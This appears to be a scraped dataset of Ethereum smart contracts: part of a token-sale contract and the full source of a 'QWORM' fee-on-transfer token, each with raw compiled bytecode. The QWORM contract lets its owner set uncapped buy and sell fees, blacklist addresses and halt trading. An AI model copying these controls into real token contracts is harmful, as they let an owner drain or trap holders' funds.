balanceOf(address who) public constant returns (uint256) { return balances[who]; } // @notice send `value` token to `to` from `msg.sender` // @param to The address of the recipient // @param value The amount of token to be transferred // @return the transaction address and send the event as Transfer function transfer(address to, uint256 value) public canTradable returns (bool success) { require ( balances[msg.sender] >= value && value > 0 ); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); Transfer(msg.sender, to, value); return true; } // @notice send `value` token to `to` from `from` // @param from The address of the sender // @param to The address of the recipient // @param value The amount of token to be transferred // @return the transaction address and send the event as Transfer function transferFrom(address from, address to, uint256 value) public canTradable returns (bool success) { require ( allowed[from][msg.sender] >= value && balances[from] >= value && value > 0 ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); Transfer(from, to, value); return true; } // Allow spender to withdraw from your account, multiple times, up to the value amount. // If this function is called again it overwrites the current allowance with value. // @param spender The address of the sender // @param value The amount to be approved // @return the transaction address and send the event as Approval function approve(address spender, uint256 value) public returns (bool success) { require ( balances[msg.sender] >= value && value > 0 ); allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } // Check the allowed value for the spender to withdraw from owner // @param owner The address of the owner // @param spender The address of the spender // @return the amount which spender is still allowed to withdraw from owner function allowance(address _owner, address spender) public constant returns (uint256) { return allowed[_owner][spender]; } // Get current price of a Token // @return the price or token value for a ether function getPrice() public view returns (uint256 result) { if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 90 days)) { if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 14 days)) { return 150; } else if ((now >= mainSaleStartTime + 14 days) && (now < mainSaleStartTime + 28 days)) { return 130; } else if ((now >= mainSaleStartTime + 28 days) && (now < mainSaleStartTime + 42 days)) { return 110; } else if ((now >= mainSaleStartTime + 42 days)) { return 105; } } else { return 0; } } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461015f578063095ea7b3146101ef57806318160ddd1461025457806323b872dd1461027f578063313ce567146103045780633eaaf86b1461032f5780634783c35b1461035a57806354840c6e146103b15780635b55169c146103e05780635b9b06091461040b57806370a08231146104365780638da5cb5b1461048d578063906a26e0146104e457806392bd3f161461050f57806395d89b411461053a57806398d5fdca146105ca5780639bfaa24b146105f5578063a035b1fe14610624578063a9059cbb1461064f578063b0aa09f2146106b4578063b113d9dc146106df578063dd62ed3e14610715578063e50450021461078c578063f2fde38b146107cf578063f634bd2914610812578063fb86a40414610869575b61015d33610894565b005b34801561016b57600080fd5b50610174610bd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b4578082015181840152602081019050610199565b50505050905090810190601f1680156101e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fb57600080fd5b5061023a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c77565b604051808215151515815260200191505060405180910390f35b34801561026057600080fd5b50610269610dc3565b6040518082815260200191505060405180910390f35b34801561028b57600080fd5b506102ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dcd565b604051808215151515815260200191505060405180910390f35b34801561031057600080fd5b50610319611186565b6040518082815260200191505060405180910390f35b34801561033b57600080fd5b5061034461118c565b6040518082815260200191505060405180910390f35b34801561036657600080fd5b5061036f611192565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bd57600080fd5b506103c66111b8565b604051808215151515815260200191505060405180910390f35b3480156103ec57600080fd5b506103f56111cb565b6040518082815260200191505060405180910390f35b34801561041757600080fd5b506104206111d1565b6040518082815260200191505060405180910390f35b34801561044257600080fd5b50610477600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d7565b6040518082815260200191505060405180910390f35b34801561049957600080fd5b506104a2611220565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f057600080fd5b506104f9611245565b6040518082815260200191505060405180910390f35b34801561051b57600080fd5b5061052461124b565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b5061054f611251565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058f578082015181840152602081019050610574565b50505050905090810190601f1680156105bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d657600080fd5b506105df6112ef565b6040518082815260200191505060405180910390f35b34801561060157600080fd5b506106226004803603810190808035151590602001909291905050506113b3565b005b34801561063057600080fd5b5061063961142b565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b5061069a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611431565b604051808215151515815260200191505060405180910390f35b3480156106c057600080fd5b506106c9611652565b6040518082815260200191505060405180910390f35b610713600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b005b34801561072157600080fd5b50610776600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611658565b6040518082815260200191505060405180910390f35b34801561079857600080fd5b506107cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116df565b005b3480156107db57600080fd5b50610810600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177e565b005b34801561081e57600080fd5b5061082761181c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087557600080fd5b5061087e611842565b6040518082815260200191505060405180910390f35b6000806000808473ffffffffffffffffffffffffffffffffffffffff16141515156108be57600080fd5b600b5434101580156108d25750600c543411155b15156108dd57600080fd5b6108e56112ef565b600a81905550349250610903600a548461184890919063ffffffff16565b915060008211151561091457600080fd5b816004541015151561092557600080fd5b6109998260056000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187b90919063ffffffff16565b60056000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189490919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa882600f5461189490919063ffffffff16565b600f81905550610ac38260045461187b90919063ffffffff16565b600481905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600f541115610b1f57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b8073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610b65573d6000803e3d6000fd5b508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188585604051808381526020018281526020019250505060405180910390a350505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c6f5780601f10610c4457610100808354040283529160200191610c6f565b820191906000526020600020905b815481529060010190602001808311610c5257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610cc85750600082115b1515610cd357600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000601060009054906101000a900460ff1680610df057506276a7006007540142105b1515610dfb57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610ec6575081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610ed25750600082115b1515610edd57600080fd5b610f2f82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187b90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061109682600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187b90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60035481565b60045481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900460ff1681565b600b5481565b600c5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b600f5481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e75780601f106112bc576101008083540402835291602001916112e7565b820191906000526020600020905b8154815290600101906020018083116112ca57829003601f168201915b505050505081565b60006007544211801561130857506276a7006007540142105b156113a657600754421180156113245750621275006007540142105b1561133257609690506113b0565b6212750060075401421015801561134f57506224ea006007540142105b1561135d57608290506113b0565b6224ea0060075401421015801561137a575062375f006007540142105b1561138857606e90506113b0565b62375f0060075401421015156113a157606990506113b0565b6113af565b600090506113b0565b5b90565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561140e57600080fd5b80601060006101000a81548160ff02191690831515021790555050565b600a5481565b6000601060009054906101000a900460ff168061145457506276a7006007540142105b151561145f57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156114ae5750600082115b15156114b957600080fd5b61150b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187b90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115a082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561173a57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156117d957600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60008082840290506000841480611869575082848281151561186657fe5b04145b151561187157fe5b8091505092915050565b600082821115151561188957fe5b818303905092915050565b60008082840190508381101515156118a857fe5b80915050929150505600a165627a7a723058204d31ecf7910e1f2ba59bf58a6f6d5b8d0c9571c9388a864c1271babdeaf2a7d60029
{"success": true, "error": null, "results": {}}
1,223
0x6043a718d7b74acfed6c74fa57076ac61ff1a230
/** *Submitted for verification at Etherscan.io on 2022-05-02 */ /** */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract QWORM is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "QOM SNACK"; string private constant _symbol = "QWORM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0d2D406bC0aA7c53a1Fdf38B224c5143cf888071); address payable private _marketingAddress = payable(0x0d2D406bC0aA7c53a1Fdf38B224c5143cf888071); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 100000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b057600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b50604080518082019091526009815268514f4d20534e41434b60b81b60208201525b6040516102399190611a24565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a79565b61069a565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa5565b6106b1565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae6565b61071a565b34801561036d57600080fd5b506101fc61037c366004611b13565b610765565b34801561038d57600080fd5b506101fc6107ad565b3480156103a257600080fd5b506102c16103b1366004611ae6565b6107f8565b3480156103c257600080fd5b506101fc61081a565b3480156103d757600080fd5b506101fc6103e6366004611b2e565b61088e565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae6565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b13565b6108bd565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600581526451574f524d60d81b602082015261022c565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026261050b366004611a79565b610972565b34801561051c57600080fd5b5061026261052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c1610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c9756